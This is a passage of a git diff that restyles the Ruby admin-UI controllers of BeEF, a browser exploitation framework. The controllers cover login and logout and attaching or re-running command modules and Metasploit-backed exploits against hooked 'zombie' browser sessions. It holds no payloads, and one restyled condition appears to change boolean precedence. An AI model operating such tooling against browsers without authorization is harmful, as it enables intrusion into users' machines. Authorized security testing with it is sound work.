config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name - Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => @session.get_id, :path => "/", :httponly => true}) - - BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully authenticated in the application.") - @body = "{ success : true }" - end - - # - # Function managing the logout - # - def logout - - # test if session is unauth'd - (print_error "invalid nonce";return @body = "{ success : true }") if not @session.valid_nonce?(@request) - (print_error "invalid session";return @body = "{ success : true }") if not @session.valid_session?(@request) - - @headers['Content-Type']='application/json; charset=UTF-8' - @headers['X-Frame-Options']='sameorigin' - - # set the session to be log out - @session.set_logged_out - - # clean up UA and expire the session cookie - config = BeEF::Core::Configuration.instance - session_cookie_name = config.get('beef.extension.admin_ui.session_cookie_name') # get session cookie name - Rack::Utils.set_cookie_header!(@headers, session_cookie_name, {:value => "", :path => "/", :httponly => true, expires: Time.now}) - - BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has successfully logged out.") - @body = "{ success : true }" - - end - - # - # Check the UI browser source IP is within the permitted subnet - # - def permitted_source?(ip) - # test if supplied IP address is valid - return false unless BeEF::Filters::is_valid_ip?(ip) - - # get permitted subnets - permitted_ui_subnet = BeEF::Core::Configuration.instance.get("beef.restrictions.permitted_ui_subnet") - return false if permitted_ui_subnet.nil? - return false if permitted_ui_subnet.empty? - - # test if ip within subnets - permitted_ui_subnet.each do |subnet| - return true if IPAddr.new(subnet).include?(ip) - end - - false end end - -end -end -end -end diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb index fb88146d0..a848ec57b 100644 --- a/extensions/admin_ui/controllers/modules/modules.rb +++ b/extensions/admin_ui/controllers/modules/modules.rb @@ -4,541 +4,630 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module AdminUI -module Controllers + module Extension + module AdminUI + module Controllers + class Modules < BeEF::Extension::AdminUI::HttpController + BD = BeEF::Core::Models::BrowserDetails -# -# -# -class Modules < BeEF::Extension::AdminUI::HttpController + def initialize + super({ + 'paths' => { + '/getRestfulApiToken.json' => method(:get_restful_api_token), + '/select/commandmodules/all.json' => method(:select_all_command_modules), + '/select/commandmodules/tree.json' => method(:select_command_modules_tree), + '/select/commandmodule.json' => method(:select_command_module), + '/select/command.json' => method(:select_command), + '/select/command_results.json' => method(:select_command_results), + '/commandmodule/commands.json' => method(:select_command_module_commands), + '/commandmodule/new' => method(:attach_command_module), + '/commandmodule/dynamicnew' => method(:attach_dynamic_command_module), + '/commandmodule/reexecute' => method(:reexecute_command_module) + } + }) - BD = BeEF::Core::Models::BrowserDetails - - def initialize - super({ - 'paths' => { - '/getRestfulApiToken.json' => method(:get_restful_api_token), - '/select/commandmodules/all.json' => method(:select_all_command_modules), - '/select/commandmodules/tree.json' => method(:select_command_modules_tree), - '/select/commandmodule.json' => method(:select_command_module), - '/select/command.json' => method(:select_command), - '/select/command_results.json' => method(:select_command_results), - '/commandmodule/commands.json' => method(:select_command_module_commands), - '/commandmodule/new' => method(:attach_command_module), - '/commandmodule/dynamicnew' => method(:attach_dynamic_command_module), - '/commandmodule/reexecute' => method(:reexecute_command_module) - } - }) - - @session = BeEF::Extension::AdminUI::Session.instance - end - - # @note Returns the RESTful api key. Authenticated call, so callable only - # from the admin UI after successful authentication (cookie). - # -> http://127.0.0.1:3000/ui/modules/getRestfulApiToken.json - # response - # <- {"token":"800679edbb59976935d7673924caaa9e99f55c32"} - def get_restful_api_token - @body = { - 'token' => BeEF::Core::Configuration.instance.get("beef.api_token") - }.to_json - end - - # Returns the list of all command_modules in a JSON format - def select_all_command_modules - @body = command_modules2json(BeEF::Modules.get_enabled.keys) - end - - # Set the correct icon for the command module - def set_command_module_icon(status) - path = BeEF::Extension::AdminUI::Constants::Icons::MODULE_TARGET_IMG_PATH # add icon path - case status - when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING - path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_NOT_WORKING_IMG - when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY - path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_USER_NOTIFY_IMG - when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING - path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_WORKING_IMG - when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN - path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG - else - path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG - end - #return path - path - end - - # Set the correct working status for the command module - def set_command_module_status(mod) - hook_session_id = @params['zombie_session'] || nil - if hook_session_id == nil - return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN - end - return BeEF::Module.support(mod, { - 'browser' => BD.get(hook_session_id, 'browser.name'), - 'ver' => BD.get(hook_session_id, 'browser.version'), - 'os' => [BD.get(hook_session_id, 'host.os.name')] - }) - end - - # If we're adding a leaf to the command tree, and it's in a subfolder, we need to recurse - # into the tree to find where it goes - def update_command_module_tree_recurse(tree,category,leaf) - working_category = category.shift - - tree.each {|t| - if t['text'].eql? working_category and category.count > 0 - #We have deeper to go - update_command_module_tree_recurse(t['children'],category,leaf) - elsif t['text'].eql? working_category - #Bingo - t['children'].push(leaf) - break - end - } - - #return tree - - end - - #Add the command to the tree - def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id) - # construct leaf node for the command module tree - leaf_node = { - 'text' => cmd_name, - 'leaf' => true, - 'icon' => cmd_icon_path, - 'status' => cmd_status, - 'id' => cmd_id - } - - # add the node to the branch in the command module tree - if cmd_category.is_a?(Array) - #The category is an array, therefore it's a sub-folderised category - cat_copy = cmd_category.dup #Don't work with the original array, because, then it breaks shit - update_command_module_tree_recurse(tree,cat_copy,leaf_node) - else - #original logic here, simply add the command to the tree. - tree.each {|x| - if x['text'].eql? cmd_category - x['children'].push( leaf_node ) - break + @session = BeEF::Extension::AdminUI::Session.instance end - } + + # @note Returns the RESTful api key. Authenticated call, so callable only + # from the admin UI after successful authentication (cookie). + # -> http://127.0.0.1:3000/ui/modules/getRestfulApiToken.json + # response + # <- {"token":"800679edbb59976935d7673924caaa9e99f55c32"} + def get_restful_api_token + @body = { + 'token' => BeEF::Core::Configuration.instance.get('beef.api_token') + }.to_json + end + + # Returns the list of all command_modules in a JSON format + def select_all_command_modules + @body = command_modules2json(BeEF::Modules.get_enabled.keys) + end + + # Set the correct icon for the command module + def set_command_module_icon(status) + path = BeEF::Extension::AdminUI::Constants::Icons::MODULE_TARGET_IMG_PATH # add icon path + path += case status + when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING + BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_NOT_WORKING_IMG + when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY + BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_USER_NOTIFY_IMG + when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING + BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_WORKING_IMG + when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN + BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG + else + BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG + end + # return path + path + end + + # Set the correct working status for the command module + def set_command_module_status(mod) + hook_session_id = @params['zombie_session'] || nil + return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN if hook_session_id.nil? + + BeEF::Module.support(mod, { + 'browser' => BD.get(hook_session_id, 'browser.name'), + 'ver' => BD.get(hook_session_id, 'browser.version'), + 'os' => [BD.get(hook_session_id, 'host.os.name')] + }) + end + + # If we're adding a leaf to the command tree, and it's in a subfolder, we need to recurse + # into the tree to find where it goes + def update_command_module_tree_recurse(tree, category, leaf) + working_category = category.shift + + tree.each do |t| + if t['text'].eql? working_category && category.count > 0 + # We have deeper to go + update_command_module_tree_recurse(t['children'], category, leaf) + elsif t['text'].eql? working_category + # Bingo + t['children'].push(leaf) + break + end + end + + # return tree + end + + # Add the command to the tree + def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id) + # construct leaf node for the command module tree + leaf_node = { + 'text' => cmd_name, + 'leaf' => true, + 'icon' => cmd_icon_path, + 'status' => cmd_status, + 'id' => cmd_id + } + + # add the node to the branch in the command module tree + if cmd_category.is_a?(Array) + # The category is an array, therefore it's a sub-folderised category + cat_copy = cmd_category.dup # Don't work with the original array, because, then it breaks shit + update_command_module_tree_recurse(tree, cat_copy, leaf_node) + else + # original logic here, simply add the command to the tree. + tree.each do |x| + if x['text'].eql? cmd_category + x['children'].push(leaf_node) + break + end + end + end + end + + # Recursive function to build the tree now with sub-folders + def build_recursive_tree(parent, input) + cinput = input.shift.chomp('/') + if cinput.split('/').count == 1 # then we have a single folder now + if parent.detect { |p| p['text'] == cinput }.nil? + parent << { 'text' => cinput, 'cls' => 'folder', 'children' => [] } + elsif input.count > 0 + parent.each do |p| + p['children'] = build_recursive_tree(p['children'], input) if p['text'] == cinput + end + end + else + # we have multiple folders + newinput = cinput.split('/') + newcinput = newinput.shift + parent << { 'text' => newcinput, 'cls' => 'folder', 'children' => [] } if parent.detect { |p| p['text'] == newcinput }.nil? + parent.each do |p| + p['children'] = build_recursive_tree(p['children'], newinput) if p['text'] == newcinput + end + end + + if input.count > 0 + build_recursive_tree(parent, input) + else + parent + end + end + + # Recursive function to sort all the parent's children + def sort_recursive_tree(parent) + # sort the children nodes by status and name + parent.each do |x| + # print_info "Sorting: " + x['children'].to_s + next unless x.is_a?(Hash) && x.has_key?('children') + + x['children'] = x['children'].sort_by do |a| + fldr = a['cls'] || 'zzzzz' + "#{fldr}#{a['status']}#{a['text']}" + end + x['children'].each do |c| + sort_recursive_tree([c]) if c.has_key?('cls') && c['cls'] == 'folder' + end + end + end + + # Recursive function to retitle folders with the number of children + def retitle_recursive_tree(parent) + # append the number of command modules so the branch name results in: " (num)" + parent.each do |command_module_branch| + next unless command_module_branch.is_a?(Hash) && command_module_branch.has_key?('children') + + num_of_subs = 0 + command_module_branch['children'].each do |c| + # add in the submodules and subtract 1 for the folder node + num_of_subs += c['children'].length - 1 if c.has_key?('children') + retitle_recursive_tree([c]) if c.has_key?('cls') && c['cls'] == 'folder' + end + num_of_command_modules = command_module_branch['children'].length + num_of_subs + command_module_branch['text'] = command_module_branch['text'] + ' (' + num_of_command_modules.to_s + ')' + end + end + + # Returns the list of all command_modules for a TreePanel in the interface. + def select_command_modules_tree + blanktree = [] + tree = [] + + # Due to the sub-folder nesting, we use some really badly hacked together recursion + # Note to the bored - if someone (anyone please) wants to refactor, I'll buy you cookies. -x + tree = build_recursive_tree(blanktree, BeEF::Modules.get_categories) + + BeEF::Modules.get_enabled.each do |k, mod| + # get the hooked browser session id and set it in the command module + hook_session_id = @params['zombie_session'] || nil + if hook_session_id.nil? + print_error 'hook_session_id is nil' + return + end + + # create url path and file for the command module icon + command_module_status = set_command_module_status(k) + command_module_icon_path = set_command_module_icon(command_module_status) + + update_command_module_tree(tree, mod['category'], command_module_icon_path, command_module_status, mod['name'], mod['db']['id']) + end + + # if dynamic modules are found in the DB, then we don't have yaml config for them + # and loading must proceed in a different way. + dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/') + + unless dynamic_modules.nil? + all_modules = BeEF::Core::Models::CommandModule.all.order(:id) + all_modules.each do |dyn_mod| + next unless dyn_mod.path.split('/')[1].match(/^metasploit/) + + command_mod_name = dyn_mod['name'] + dyn_mod_category = 'Metasploit' + command_module_status = set_command_module_status(command_mod_name) + command_module_icon_path = set_command_module_icon(command_module_status) + + update_command_module_tree(tree, dyn_mod_category, command_module_icon_path, command_module_status, command_mod_name, dyn_mod.id) + end + end + + # sort the parent array nodes + tree.sort! { |a, b| a['text'] <=> b['text'] } + + sort_recursive_tree(tree) + + retitle_recursive_tree(tree) + + # return a JSON array of hashes + @body = tree.to_json + end + + # Returns the inputs definition of an command_module. + def select_command_module + command_module_id = @params['command_module_id'] || nil + if command_module_id.nil? + print_error 'command_module_id is nil' + return + end + command_module = BeEF::Core::Models::CommandModule.find(command_module_id) + key = BeEF::Module.get_key_by_database_id(command_module_id) + + payload_name = @params['payload_name'] || nil + @body = if payload_name.nil? + command_modules2json([key]) + else + dynamic_payload2json(command_module_id, payload_name) + end + end + + # Returns the list of commands for an command_module + def select_command_module_commands + commands = [] + i = 0 + + # get params + zombie_session = @params['zombie_session'] || nil + if zombie_session.nil? + print_error 'Zombie session is nil' + return + end + command_module_id = @params['command_module_id'] || nil + if command_module_id.nil? + print_error 'command_module id is nil' + return + end + # validate nonce + nonce = @params['nonce'] || nil + if nonce.nil? + print_error 'nonce is nil' + return + end + if @session.get_nonce != nonce + print_error 'nonce incorrect' + return + end + + # get the browser id + zombie = Z.where(session: zombie_session).first + if zombie.nil? + print_error 'Zombie is nil' + return + end + + zombie_id = zombie.id + if zombie_id.nil? + print_error 'Zombie id is nil' + return + end + + C.where(command_module_id: command_module_id, hooked_browser_id: zombie_id).each do |command| + commands.push({ + 'id' => i, + 'object_id' => command.id, + 'creationdate' => Time.at(command.creationdate.to_i).strftime('%Y-%m-%d %H:%M').to_s, + 'label' => command.label + }) + i += 1 + end + + @body = { + 'success' => 'true', + 'commands' => commands + }.to_json + end + + # Attaches an command_module to a zombie. + def attach_command_module + definition = {} + + # get params + zombie_session = @params['zombie_session'] || nil + if zombie_session.nil? + print_error 'Zombie id is nil' + return + end + + command_module_id = @params['command_module_id'] || nil + if command_module_id.nil? + print_error 'command_module id is nil' + return + end + + # validate nonce + nonce = @params['nonce'] || nil + if nonce.nil? + print_error 'nonce is nil' + return + end + if @session.get_nonce != nonce + print_error 'nonce incorrect' + return + end + + @params.keys.each do |param| + unless BeEF::Filters.has_valid_param_chars?(param) + print_error 'invalid key param string' + return + end + if BeEF::Filters.first_char_is_num?(param) + print_error 'first char is num' + return + end + definition[param[4..-1]] = params[param] + oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1]) + oc.value = params[param] + oc.save + end + + mod_key = BeEF::Module.get_key_by_database_id(command_module_id) + # Hack to rework the old option system into the new option system + def2 = [] + definition.each do |k, v| + def2.push({ 'name' => k, 'value' => v }) + end + # End hack + exec_results = BeEF::Module.execute(mod_key, zombie_session, def2) + @body = exec_results.nil? ? '{success: false}' : '{success: true}' + end + + # Re-execute an command_module to a zombie. + def reexecute_command_module + # get params + command_id = @params['command_id'] || nil + if command_id.nil? + print_error 'Command id is nil' + return + end + + command = BeEF::Core::Models::Command.find(command_id.to_i) || nil + if command.nil? + print_error 'Command is nil' + return + end + # validate nonce + nonce = @params['nonce'] || nil + if nonce.nil? + print_error 'nonce is nil' + return + end + if @session.get_nonce != nonce + print_error 'nonce incorrect' + return + end + + command.instructions_sent = false + command.save + + @body = '{success : true}' + end + + def attach_dynamic_command_module + definition = {} + + # get params + zombie_session = @params['zombie_session'] || nil + if zombie_session.nil? + print_error 'Zombie id is nil' + return + end + + command_module_id = @params['command_module_id'] || nil + if command_module_id.nil? + print_error 'command_module id is nil' + return + end + + # validate nonce + nonce = @params['nonce'] || nil + if nonce.nil? + print_error 'nonce is nil' + return + end + + if @session.get_nonce != nonce + print_error 'nonce incorrect' + return + end + + @params.keys.each do |param| + unless BeEF::Filters.has_valid_param_chars?(param) + print_error 'invalid key param string' + return + end + + if BeEF::Filters.first_char_is_num?(param) + print_error "first char is num: #{param}" + return + end + + definition[param[4..-1]] = params[param] + oc = BeEF::Core::Models::OptionCache.first_or_create(name: param[4..-1]) + oc.value = params[param] + oc.save + end + + zombie = Z.where(session: zombie_session).first + if zombie.nil? + print_error 'Zombie is nil' + return + end + + zombie_id = zombie.id + if zombie_id.nil? + print_error 'Zombie id is nil' + return + end + + command_module = BeEF::Core::Models::CommandModule.find(command_module_id) + + return { 'success' => 'false' }.to_json if command_module.nil? + + unless command_module.path.match(/^Dynamic/) + print_info "Command module path is not dynamic: #{command_module.path}" + return { 'success' => 'false' }.to_json + end + + dyn_mod_name = command_module.path.split('/').last + e = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new + e.update_info(command_module_id) + e.update_data + ret = e.launch_exploit(definition) + + if ret['result'] != 'success' + print_info 'mount failed' + return { 'success' => 'false' }.to_json + end + + basedef = {} + basedef['sploit_url'] = ret['uri'] + + C.new( + data: basedef.to_json, + hooked_browser_id: zombie_id, + command_module_id: command_module_id, + creationdate: Time.new.to_i + ).save + + @body = { 'success' => true }.to_json + end + + # Returns the results of a command + def select_command_results + results = [] + + # get params + command_id = @params['command_id'] || nil + if command_id.nil? + print_error 'Command id is nil' + return + end + + command = BeEF::Core::Models::Command.find(command_id.to_i) || nil + if command.nil? + print_error 'Command is nil' + return + end + + # get command_module + command_module = BeEF::Core::Models::CommandModule.find(command.command_module_id) + if command_module.nil? + print_error 'command_module is nil' + return + end + + resultsdb = BeEF::Core::Models::Result.where(command_id: command_id) + if resultsdb.nil? + print_error 'Command id result is nil' + return + end + + resultsdb.each { |result| results.push({ 'date' => result.date, 'data' => JSON.parse(result.data) }) } + + @body = { + 'success' => 'true', + 'command_module_name' => command_module.name, + 'command_module_id' => command_module.id, + 'results' => results + }.to_json + end + + # Returns the definition of a command. + # In other words it returns the command that was used to command_module a zombie. + def select_command + # get params + command_id = @params['command_id'] || nil + if command_id.nil? + print_error 'Command id is nil' + return + end + + command = BeEF::Core::Models::Command.find(command_id.to_i) || nil + if command.nil? + print_error 'Command is nil' + return + end + + command_module = BeEF::Core::Models::CommandModule.find(command.command_module_id) + if command_module.nil? + print_error 'command_module is nil' + return + end + + if command_module.path.split('/').first.match(/^Dynamic/) + dyn_mod_name = command_module.path.split('/').last + e = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new + else + command_module_name = command_module.name + e = BeEF::Core::Command.const_get(command_module_name.capitalize).new(command_module_name) + end + + @body = { + 'success' => 'true', + 'command_module_name' => command_module_name, + 'command_module_id' => command_module.id, + 'data' => BeEF::Module.get_options(command_module_name), + 'definition' => JSON.parse(e.to_json) + }.to_json + end + + private + + # Takes a list of command_modules and returns them as a JSON array + def command_modules2json(command_modules) + command_modules_json = {} + i = 1 + config = BeEF::Core::Configuration.instance + command_modules.each do |command_module| + h = { + 'Name' => config.get("beef.module.#{command_module}.name"), + 'Description' => config.get("beef.module.#{command_module}.description"), + 'Category' => config.get("beef.module.#{command_module}.category"), + 'Data' => BeEF::Module.get_options(command_module) + } + command_modules_json[i] = h + i += 1 + end + + return { 'success' => 'false' }.to_json if command_modules_json.empty? + + { 'success' => 'true', 'command_modules' => command_modules_json }.to_json + end + + # return the input requred for the module in JSON format + def dynamic_modules2json(id) + command_modules_json = {} + + mod = BeEF::Core::Models::CommandModule.find(id) + + # if the module id is not in the database return false + return { 'success' => 'false' }.to_json unless mod + + # the path will equal Dynamic/ and this will get just the type + dynamic_type = mod.path.split('/').last + + e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new + e.update_info(mod.id) + e.update_data + command_modules_json[1] = JSON.parse(e.to_json) + if command_modules_json.empty? + { 'success' => 'false' }.to_json + else + { 'success' => 'true', 'dynamic' => 'true', 'command_modules' => command_modules_json }.to_json + end + end + + def dynamic_payload2json(id, payload_name) + command_module = BeEF::Core::Models::CommandModule.find(id) + if command_module.nil? + print_error 'Module does not exists' + return { 'success' => 'false' }.to_json + end + + payload_options = BeEF::Module.get_payload_options(command_module.name, payload_name) + # get payload options in JSON + # e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new + payload_options_json = [] + payload_options_json[1] = payload_options + # payload_options_json[1] = e.get_payload_options(payload_name) + { 'success' => 'true', 'command_modules' => payload_options_json }.to_json + end + end end - end - - #Recursive function to build the tree now with sub-folders - def build_recursive_tree(parent,input) - cinput = input.shift.chomp('/') - if cinput.split('/').count == 1 #then we have a single folder now - if parent.detect {|p| p['text'] == cinput}.nil? - parent << {'text' => cinput, 'cls' => 'folder', 'children' => []} - else - if input.count > 0 - parent.each {|p| - if p['text'] == cinput - p['children'] = build_recursive_tree(p['children'],input) - end - } - end - end - else - #we have multiple folders - newinput = cinput.split('/') - newcinput = newinput.shift - if parent.detect {|p| p['text'] == newcinput }.nil? - parent << {'text' => newcinput, 'cls' => 'folder', 'children' => []} - end - parent.each {|p| - if p['text'] == newcinput - p['children'] = build_recursive_tree(p['children'],newinput) - end - } - end - - if input.count > 0 - return build_recursive_tree(parent,input) - else - return parent end end - - #Recursive function to sort all the parent's children - def sort_recursive_tree(parent) - # sort the children nodes by status and name - parent.each {|x| - #print_info "Sorting: " + x['children'].to_s - if x.is_a?(Hash) and x.has_key?('children') - x['children'] = x['children'].sort_by {|a| - fldr = a['cls'] ? a['cls'] : 'zzzzz' - "#{fldr}#{a['status']}#{a['text']}" - } - x['children'].each {|c| - sort_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder' - } - end - } - end - - #Recursive function to retitle folders with the number of children - def retitle_recursive_tree(parent) - # append the number of command modules so the branch name results in: " (num)" - parent.each {|command_module_branch| - if command_module_branch.is_a?(Hash) and command_module_branch.has_key?('children') - num_of_subs = 0 - command_module_branch['children'].each {|c| - #add in the submodules and subtract 1 for the folder node - num_of_subs+=c['children'].length-1 if c.has_key?('children') - retitle_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder' - } - num_of_command_modules = command_module_branch['children'].length + num_of_subs - command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")" - - end - } - end - - # Returns the list of all command_modules for a TreePanel in the interface. - def select_command_modules_tree - blanktree = [] - tree = [] - - #Due to the sub-folder nesting, we use some really badly hacked together recursion - #Note to the bored - if someone (anyone please) wants to refactor, I'll buy you cookies. -x - tree = build_recursive_tree(blanktree,BeEF::Modules.get_categories) - - BeEF::Modules.get_enabled.each{|k, mod| - # get the hooked browser session id and set it in the command module - hook_session_id = @params['zombie_session'] || nil - (print_error "hook_session_id is nil";return) if hook_session_id.nil? - - # create url path and file for the command module icon - command_module_status = set_command_module_status(k) - command_module_icon_path = set_command_module_icon(command_module_status) - - update_command_module_tree(tree, mod['category'], command_module_icon_path, command_module_status, mod['name'],mod['db']['id']) - } - - # if dynamic modules are found in the DB, then we don't have yaml config for them - # and loading must proceed in a different way. - dynamic_modules = BeEF::Core::Models::CommandModule.where('path LIKE ?', 'Dynamic/') - - if(dynamic_modules != nil) - all_modules = BeEF::Core::Models::CommandModule.all.order(:id) - all_modules.each{|dyn_mod| - next if !dyn_mod.path.split('/')[1].match(/^metasploit/) - command_mod_name = dyn_mod["name"] - dyn_mod_category = "Metasploit" - command_module_status = set_command_module_status(command_mod_name) - command_module_icon_path = set_command_module_icon(command_module_status) - - update_command_module_tree(tree, dyn_mod_category, command_module_icon_path, command_module_status, command_mod_name,dyn_mod.id) - } - end - - # sort the parent array nodes - tree.sort! {|a,b| a['text'] <=> b['text']} - - sort_recursive_tree(tree) - - retitle_recursive_tree(tree) - - - - # return a JSON array of hashes - @body = tree.to_json - end - - # Returns the inputs definition of an command_module. - def select_command_module - command_module_id = @params['command_module_id'] || nil - (print_error "command_module_id is nil";return) if command_module_id.nil? - command_module = BeEF::Core::Models::CommandModule.find(command_module_id) - key = BeEF::Module.get_key_by_database_id(command_module_id) - - payload_name = @params['payload_name'] || nil - if not payload_name.nil? - @body = dynamic_payload2json(command_module_id, payload_name) - else - @body = command_modules2json([key]) - end - end - - # Returns the list of commands for an command_module - def select_command_module_commands - commands = [] - i=0 - - # get params - zombie_session = @params['zombie_session'] || nil - (print_error "Zombie session is nil";return) if zombie_session.nil? - command_module_id = @params['command_module_id'] || nil - (print_error "command_module id is nil";return) if command_module_id.nil? - # validate nonce - nonce = @params['nonce'] || nil - (print_error "nonce is nil";return) if nonce.nil? - (print_error "nonce incorrect";return) if @session.get_nonce != nonce - - # get the browser id - zombie = Z.where(:session => zombie_session).first - (print_error "Zombie is nil";return) if zombie.nil? - zombie_id = zombie.id - (print_error "Zombie id is nil";return) if zombie_id.nil? - - C.where(:command_module_id => command_module_id, :hooked_browser_id => zombie_id).each do |command| - commands.push({ - 'id' => i, - 'object_id' => command.id, - 'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s, - 'label' => command.label - }) - i+=1 - end - - @body = { - 'success' => 'true', - 'commands' => commands}.to_json - - end - - # Attaches an command_module to a zombie. - def attach_command_module - - definition = {} - - # get params - zombie_session = @params['zombie_session'] || nil - (print_error "Zombie id is nil";return) if zombie_session.nil? - command_module_id = @params['command_module_id'] || nil - (print_error "command_module id is nil";return) if command_module_id.nil? - # validate nonce - nonce = @params['nonce'] || nil - (print_error "nonce is nil";return) if nonce.nil? - (print_error "nonce incorrect";return) if @session.get_nonce != nonce - - @params.keys.each {|param| - (print_error "invalid key param string";return) if not BeEF::Filters.has_valid_param_chars?(param) - (print_error "first char is num";return) if BeEF::Filters.first_char_is_num?(param) - definition[param[4..-1]] = params[param] - oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1]) - oc.value = params[param] - oc.save - } - - mod_key = BeEF::Module.get_key_by_database_id(command_module_id) - # Hack to rework the old option system into the new option system - def2 = [] - definition.each{|k,v| - def2.push({'name' => k, 'value' => v}) - } - # End hack - exec_results = BeEF::Module.execute(mod_key, zombie_session, def2) - @body = (exec_results != nil) ? '{success: true}' : '{success: false}' - end - - # Re-execute an command_module to a zombie. - def reexecute_command_module - - # get params - command_id = @params['command_id'] || nil - (print_error "Command id is nil";return) if command_id.nil? - command = BeEF::Core::Models::Command.find(command_id.to_i) || nil - (print_error "Command is nil";return) if command.nil? - # validate nonce - nonce = @params['nonce'] || nil - (print_error "nonce is nil";return) if nonce.nil? - (print_error "nonce incorrect";return) if @session.get_nonce != nonce - - command.instructions_sent = false - command.save - - @body = '{success : true}' - end - - def attach_dynamic_command_module - - definition = {} - - # get params - zombie_session = @params['zombie_session'] || nil - (print_error "Zombie id is nil";return) if zombie_session.nil? - command_module_id = @params['command_module_id'] || nil - (print_error "command_module id is nil";return) if command_module_id.nil? - # validate nonce - nonce = @params['nonce'] || nil - (print_error "nonce is nil";return) if nonce.nil? - (print_error "nonce incorrect";return) if @session.get_nonce != nonce - - @params.keys.each {|param| - (print_error "invalid key param string";return) if not BeEF::Filters.has_valid_param_chars?(param) - (print_error "first char is num";return) if BeEF::Filters.first_char_is_num?(param) - definition[param[4..-1]] = params[param] - oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1]) - oc.value = params[param] - oc.save - } - - zombie = Z.where(:session => zombie_session).first - (print_error "Zombie is nil";return) if zombie.nil? - zombie_id = zombie.id - (print_error "Zombie id is nil";return) if zombie_id.nil? - command_module = BeEF::Core::Models::CommandModule.find(command_module_id) - - if(command_module != nil && command_module.path.match(/^Dynamic/)) - dyn_mod_name = command_module.path.split('/').last - e = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new - e.update_info(command_module_id) - e.update_data() - ret = e.launch_exploit(definition) - - return {'success' => 'false'}.to_json if ret['result'] != 'success' - - basedef = {} - basedef['sploit_url'] = ret['uri'] - - C.new( :data => basedef.to_json, - :hooked_browser_id => zombie_id, - :command_module_id => command_module_id, - :creationdate => Time.new.to_i - ).save - - @body = '{success : true}' - else -# return {'success' => 'false'}.to_json - {'success' => 'false'}.to_json - end - - - - end - - # Returns the results of a command - def select_command_results - results = [] - - # get params - command_id = @params['command_id']|| nil - (print_error "Command id is nil";return) if command_id.nil? - command = BeEF::Core::Models::Command.find(command_id.to_i) || nil - (print_error "Command is nil";return) if command.nil? - - # get command_module - command_module = BeEF::Core::Models::CommandModule.find(command.command_module_id) - (print_error "command_module is nil";return) if command_module.nil? - - resultsdb = BeEF::Core::Models::Result.where(:command_id => command_id) - (print_error "Command id result is nil";return) if resultsdb.nil? - - resultsdb.each{ |result| results.push({'date' => result.date, 'data' => JSON.parse(result.data)}) } - - @body = { - 'success' => 'true', - 'command_module_name' => command_module.name, - 'command_module_id' => command_module.id, - 'results' => results}.to_json - - end - - # Returns the definition of a command. - # In other words it returns the command that was used to command_module a zombie. - def select_command - - # get params - command_id = @params['command_id'] || nil - (print_error "Command id is nil";return) if command_id.nil? - command = BeEF::Core::Models::Command.find(command_id.to_i) || nil - (print_error "Command is nil";return) if command.nil? - - command_module = BeEF::Core::Models::CommandModule.find(command.command_module_id) - (print_error "command_module is nil";return) if command_module.nil? - - if(command_module.path.split('/').first.match(/^Dynamic/)) - dyn_mod_name = command_module.path.split('/').last - e = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new - else - command_module_name = command_module.name - e = BeEF::Core::Command.const_get(command_module_name.capitalize).new(command_module_name) - end - - @body = { - 'success' => 'true', - 'command_module_name' => command_module_name, - 'command_module_id' => command_module.id, - 'data' => BeEF::Module.get_options(command_module_name), - 'definition' => JSON.parse(e.to_json) - }.to_json - - end - - private - - # Takes a list of command_modules and returns them as a JSON array - def command_modules2json(command_modules) - command_modules_json = {} - i = 1 - config = BeEF::Core::Configuration.instance - command_modules.each do |command_module| - h = { - 'Name'=> config.get("beef.module.#{command_module}.name"), - 'Description'=> config.get("beef.module.#{command_module}.description"), - 'Category'=> config.get("beef.module.#{command_module}.category"), - 'Data'=> BeEF::Module.get_options(command_module) - } - command_modules_json[i] = h - i += 1 - end - - if not command_modules_json.empty? - return {'success' => 'true', 'command_modules' => command_modules_json}.to_json - else - return {'success' => 'false'}.to_json - end - end - - # return the input requred for the module in JSON format - def dynamic_modules2json(id) - command_modules_json = {} - - mod = BeEF::Core::Models::CommandModule.find(id) - - # if the module id is not in the database return false - return 